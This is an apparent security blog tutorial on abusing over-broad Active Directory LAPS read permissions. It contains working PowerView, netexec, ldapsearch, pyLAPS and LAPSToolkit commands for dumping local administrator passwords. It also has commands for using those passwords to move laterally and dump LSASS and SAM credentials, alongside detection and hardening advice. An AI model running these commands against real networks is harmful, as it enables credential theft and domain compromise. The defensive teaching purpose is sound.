Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
The Local Administrator Password Solution (LAPS) exists to kill one of the oldest and most reliable lateral-movement techniques in Windows networks: a single shared local administrator password reused across every workstation. LAPS assigns each machine a unique, randomly generated local admin password, rotates it automatically, and stores it in Active Directory so authorized staff can retrieve it when needed. When it works, compromising one machine’s local admin no longer means compromising them all.
But LAPS stores those passwords in Active Directory, and the security of the whole scheme collapses to a single question: *who is allowed to read the password attribute?* In legacy LAPS the password sits in a cleartext attribute (ms-Mcs-AdmPwd) whose protection is entirely an ACL. Misconfigure that ACL — or compromise a principal that legitimately holds read rights — and you get plaintext local admin on every affected host. This article covers how LAPS stores and rotates passwords, the difference between legacy and Windows LAPS, how attackers enumerate and read them, and how reading LAPS chains into broad lateral movement.
Attack Prerequisites
LAPS abuse is an authorization problem, so the prerequisites are about *read rights*:
- A domain account with read access to the LAPS password attribute — either through a misconfigured/over-broad ACL, or by compromising a principal (help-desk group, admin, or delegated OU manager) that legitimately holds the right.
- Knowledge of which attribute is in use — legacy
ms-Mcs-AdmPwd, or Windows LAPSmsLAPS-Password/msLAPS-EncryptedPassword. - LDAP access to a domain controller to query computer objects and their LAPS attributes.
- For encrypted (Windows LAPS) passwords: membership in the principal authorized to decrypt, since the value is protected rather than cleartext.
How It Works
LAPS runs on each managed endpoint. On a schedule, the client generates a new random password meeting the configured length/complexity, sets it on the local administrator account, and writes the value plus an expiration timestamp back to the machine’s own computer object in AD. The machine account writes its *own* password (the SELF principal has write access), and reads are gated by ACLs granting specific groups the right to see it. Rotation is driven by the expiration attribute: when the current time passes it, the client rolls a new password.
In legacy LAPS (the original Microsoft add-on), the password is stored in cleartext in ms-Mcs-AdmPwd, with the expiration in ms-Mcs-AdmPwdExpirationTime. ms-Mcs-AdmPwd is marked as a confidential attribute, which means that — unlike ordinary attributes — a user needs the CONTROL_ACCESS (All Extended Rights) or explicit read right on it, not just generic read. That confidentiality is the *only* thing protecting the plaintext; there is no encryption at rest in the directory. Whoever holds the read right sees the password.
Windows LAPS (built into Windows since April 2023) modernizes this. It can store the password in cleartext (msLAPS-Password) or, preferably, encrypted (msLAPS-EncryptedPassword), where the value is protected so that only an authorized principal (by default Domain Admins, or a configured group) can decrypt it, using DPAPI-NG against AD. It adds password history (msLAPS-EncryptedPasswordHistory), supports Entra ID/Azure AD, and can manage a dedicated account rather than the built-in Administrator. The encrypted variant closes the ‘anyone with read gets plaintext’ gap — but only if it is actually deployed in encrypted mode with a tightly scoped decryptor.
Vulnerable Code / Configuration
The core weakness is an ACL that grants read of the password attribute too broadly. First, confirm which schema is present, then enumerate who can read it. With PowerView you can read the raw attribute wherever you have rights:
# Legacy LAPS: read cleartext local admin passwords you are permitted to see
Get-DomainComputer -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime, dnshostname |
Where-Object { $_.'ms-Mcs-AdmPwd' } |
Select dnshostname, ms-Mcs-AdmPwd
# Windows LAPS equivalent attributes:
Get-DomainComputer -Properties msLAPS-Password, msLAPS-EncryptedPassword, dnshostnamePowerShellThe misconfiguration to look for is a broad principal (Authenticated Users, a large help-desk group, or ‘Everyone’) holding the extended read right on the password attribute. Audit the delegated ACEs on the OUs containing computers:
# Who has been delegated read of the LAPS password? (extended right on the attribute)
Find-InterestingDomainAcl -ResolveGUIDs |
Where-Object { $_.ObjectAceType -match 'ms-Mcs-AdmPwd' -and
$_.ActiveDirectoryRights -match 'ReadProperty|ExtendedRight' } |
Select IdentityReferenceName, ObjectDN, ActiveDirectoryRightsPowerShellA second, subtler issue is write access to the expiration attribute. If an attacker can write ms-Mcs-AdmPwdExpirationTime to a past date, they can force an immediate password rotation — useful for making a just-read password stick, or for timing games. And a computer object where the LAPS attribute is simply empty often means LAPS was never applied there, leaving a possibly-shared legacy local admin password intact:
# Attribute inventory on a managed computer object:
ms-Mcs-AdmPwd: A5$k9!wZ2pQr... # cleartext local admin password (legacy)
ms-Mcs-AdmPwdExpirationTime: 133... # FILETIME; past value forces rotation
# Empty ms-Mcs-AdmPwd on some hosts -> LAPS not enforced there (check for a shared local admin).TEXTWalkthrough / Exploitation
Enumeration first: identify machines with readable LAPS passwords and confirm your rights. netexec has dedicated LAPS modules for both SMB and LDAP that pull every password your account can read across the domain in one shot:
# netexec: retrieve all LAPS passwords the account is authorized to read
nxc ldap dc.corp.local -u helpdesk -p 'Passw0rd!' --module laps
# Or via the SMB path with the LAPS flag:
nxc smb 10.0.0.0/24 -u helpdesk -p 'Passw0rd!' --lapsBashFrom Linux you can also read the attribute directly with an LDAP query or with purpose-built tooling such as pyLAPS; on Windows, the LAPSToolkit wraps enumeration and shows which groups can read passwords for which computers:
# Direct LDAP read of the legacy attribute (where permitted)
ldapsearch -x -H ldap://10.0.0.10 -D 'corp\\helpdesk' -w 'Passw0rd!' \
-b 'DC=corp,DC=local' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd dNSHostName
# pyLAPS: dump readable passwords
pyLAPS.py --action get -d corp.local -u helpdesk -p 'Passw0rd!'Bash# LAPSToolkit (Windows): find who can read LAPS + dump accessible passwords
Find-LAPSDelegatedGroups # which groups can read which computers
Find-AdmPwdExtendedRights # extended-right holders on the attribute
Get-LAPSComputers # computers + passwords you can read + expiryPowerShellThe chain is where a single read becomes broad compromise. Each recovered LAPS password is local administrator on that specific host, so use it to authenticate and move laterally — and once local admin, dump credentials to harvest domain sessions cached on the box:
# Use a recovered LAPS password as local admin on the target host
nxc smb WKSTN23.corp.local -u Administrator -p '<LAPS_password>' --local-auth
# Local admin -> dump LSASS / SAM for cached domain creds and pivot further
nxc smb WKSTN23.corp.local -u Administrator -p '<LAPS_password>' \
--local-auth --lsa --samBashIf your compromised principal can read LAPS for *many* computers — a common outcome when a help-desk group is over-delegated — you effectively hold local admin across a large slice of the estate. Harvesting LSASS on hosts where a Domain Admin has an active session then escalates from ‘local admin everywhere’ toward domain compromise, which is the natural end-state of a LAPS ACL failure.
Note: LAPS is a genuine improvement even against this attack — without it, one dumped local admin hash unlocks every identically-imaged host via pass-the-hash, whereas LAPS makes each password unique. The failure mode is not LAPS itself but the *read ACL* and gaps in coverage. Watch for computers with empty LAPS attributes (unmanaged), and note that legacy
ms-Mcs-AdmPwdcleartext is strictly weaker than Windows LAPS encrypted storage.
Opsec: Reading
ms-Mcs-AdmPwdis a directory read and can be audited via Event ID 4662 (access to an object’s property) when SACLs are configured on the attribute. Bulk reads of the LAPS attribute across many computers from one principal in a short window is a strong signal. Using the recovered password then produces local logon events (4624 type 3) with the built-in Administrator from an unusual source.
Detection and Defense
Lock down who can read the password, prefer encrypted storage, and audit reads:
- Migrate to Windows LAPS with encrypted storage (
msLAPS-EncryptedPassword) so the value is not cleartext and only a scoped principal can decrypt it. - Scope read delegation tightly — grant the extended read right on the password attribute only to the minimal help-desk/admin groups that truly need it, per OU, never to broad groups.
- Audit LAPS read ACLs regularly with LAPSToolkit/PowerView; look for Authenticated Users, Everyone, or large groups holding read on
ms-Mcs-AdmPwd. - Enable SACL auditing on the LAPS attribute and alert on Event ID 4662 reads, especially bulk reads across many computers.
- Ensure full coverage — hunt for computer objects with empty LAPS attributes, which may still carry a legacy shared local admin password.
- Rotate on use: configure short expiration and force rotation after a password is retrieved for break-glass use, so a leaked value has a limited lifetime.
Real-World Impact
LAPS is one of Microsoft’s most successful hardening measures — it single-handedly defeats the ‘one local admin hash to rule them all’ pass-the-hash pattern that dominated internal compromises for years. Its integration directly into Windows in 2023 (Windows LAPS) reflects how central it became. In engagements, however, over-delegated read rights remain a recurring finding: a help-desk group with domain-wide read of ms-Mcs-AdmPwd, or a legacy deployment left in cleartext mode, turns one phished help-desk account into local admin across thousands of endpoints. The takeaway is consistent — LAPS moves the risk from the endpoint password to the directory ACL, so the ACL is where the security now lives.
Conclusion
LAPS does exactly what it promises: unique, rotated local admin passwords that break lateral movement by shared credential. But it relocates the trust boundary into Active Directory, where a single over-broad read ACL can expose plaintext local admin for the entire fleet. Deploy Windows LAPS with encrypted storage, delegate read rights to the smallest possible set of principals per OU, audit those ACLs and the reads against them, and close coverage gaps. Do that, and LAPS is a powerful control; neglect the ACL, and it becomes a convenient, centralized list of every local admin password you own.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
- Active Directory Trust Attacks: SID History and Cross-Forest Escalation
- Abusing Active Directory DACLs: GenericAll, WriteDACL, and the Path to Domain Compromise
- Abusing Group Policy Objects for Privilege Escalation and Lateral Movement
- Active Directory Defense and Monitoring: Tiering, LAPS, and Detection Engineering



Comments